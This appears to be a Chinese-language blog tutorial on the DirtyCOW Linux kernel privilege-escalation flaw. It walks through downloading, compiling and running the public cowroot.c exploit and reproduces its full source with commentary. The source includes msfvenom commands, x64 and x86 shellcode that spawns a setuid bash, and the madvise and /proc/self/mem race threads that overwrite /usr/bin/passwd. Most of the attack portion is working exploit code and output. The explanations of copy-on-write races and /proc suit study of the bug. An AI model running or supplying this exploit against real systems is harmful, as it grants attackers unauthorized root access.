Linux kernels 常有一些可以從一般使用者提權到 root 的漏洞,如 DirtyCOW (CVE-2016-5195) 和 CVE-2017-6074。
漏洞原理
新增 SUID 權限的 passwd (binary) 使用 root 權限 提權
Linux 中有 passwd 指令,可以更改使用者的帳號密碼,一般的使用者,只能更新自己的密碼,透過 SUID 的權限,可以以 root 權限去修改任何的密碼。
攻擊流程
wget https://www.exploit-db.com/download/40616 -O cowroot.c
vim cowroot.c
gcc cowroot.c -o cowroot -pthread
ls -l cowroot
./cowroot
id
解析poc
註解中提到如何編譯該檔案,需要使用 gcc 編譯,並且透過 -pthread
參數進行 POSIX thread 編譯。
POSIX thread 是可以透過程式進行多執行緒,而 <pthread.h>
則是利用 C 語言定義操作執行緒的 API。
如果沒有加上 -pthread
則會無法編譯,因為該程式有引用 <pthread.h>
。
/*
*
* EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable.
*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*/
宣告所需的函式庫,與需要的參數內容。
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
該弱點利用 binary /usr/bin/passwd
進行提權。
// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";
確認目標是 x86 還是 64 位元組,使用如果使用 64 位元則是透過第一個 sc[] 若使用 x86 則是要取消註解,這個字串陣列的內容,其實可以參考註解。
$ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
$ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
利用 msfvenom 產生後門, 參數介紹如下:
-p
指定平台CMD
執行指定的 binaryPrependSetuid=True
產生的 shellcode 會有 SUID 的權限-f
輸出檔案格式
xxd 用來查看 binary 的指令,其中 -i 代表輸出陣列。
/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;
/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/
madvise
將自己主動控制的記憶體行為,告知作業系統的 kernelvoid *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}
/proc/self/mem
指向目前執行緒的虛擬記憶體位置的檔案,目前的執行緒可以針對這個檔案進行讀寫(直接讀寫虛擬記憶體),且無視記憶體對應的權限設定write
寫入檔案lseek
透過指定的偏移量,修改檔案的 pointvoid *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
char buf[sc_len];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) {
printf("%s is overwritten\n", suid_binary);
break;
}
fclose(fp);
sleep(1);
}
stop = 1;
printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");
system(suid_binary);
}
/usr/bin/passwd
),透過讀取記憶體,以複製的方式對應的記憶體中。並且開啟兩個執行緒,procselfmemThread
該執行緒不停針對該記憶體進行寫入,而madviseThread
不停地針對該記憶體進行釋放。int main(int argc,char *argv[]) {
char *backup;
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s.. to /tmp/bak\n", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf("Size of binary: %d\n", st.st_size);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..\n");
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}
Linux kernal 處理記憶體的功能處理寫入記憶體,以複製的方式(copy-on-write,COW) 導致 競爭條件(Race Condition),因此惡意的攻擊者可以利用此漏洞,欺騙系統去修改可以讀取的記憶體空間並且執行,導致低權限的使用者可以利用此漏洞,讀取只有讀取的對應虛擬記憶體進行寫入。
Race Condition 競爭條件:代表系統的執行結果,仰賴不能控制的事件的先後順序,如果這些不被控制的事情,沒有按造原來所想像的順序執行,則會產生 bug。
Linux 的虛擬文件系統 Virtual File System,將所有的資源都對應成檔案,常見的範例如下:
路徑 | 說明 |
---|---|
/proc/net/arp | 內部網路機器的資訊 |
/proc/net/tcp | tcp 資訊 |
/proc/cpuinfo | cpu 資訊 |
/proc/version | 系统版本資訊 |
/proc/pid/cmdline | 開始執行緒的指令 |
/proc/pid/cwd | 目前執行緒工作的資料夾連結 |
/proc/pid/environ | 目前執行緒環境變數的列表 |
/proc/pid/exe | 目前執行緒執行的 process 連結 |
/proc/pid/fd/ | 目前執行緒打開的每個檔案的連結 |
/proc/pid/stat | 目前執行緒的狀態 |
/proc/pid/statm | 目前執行緒的記憶體使用資訊 |
/proc/self/maps | 目前執行緒虛擬記憶體載入的檔案和函式庫 |
/proc/self/mem | 指向目前執行緒的虛擬記憶體位置的檔案,目前的執行緒可以針對這個檔案進行讀寫,直接讀寫虛擬記憶體 |
透過 /proc/self/maps 可以知道目前虛擬記憶體區域(virtual memory areas,載入的檔案和函式庫),工具 gdb 的指令 vmmap 也可以看到。每一個正在執行的 process 都有自己的虛擬 address,也會對應到物理的記憶體中。
ref:https://xuanxuanblingbling.github.io/ctf/pwn/2019/11/18/race/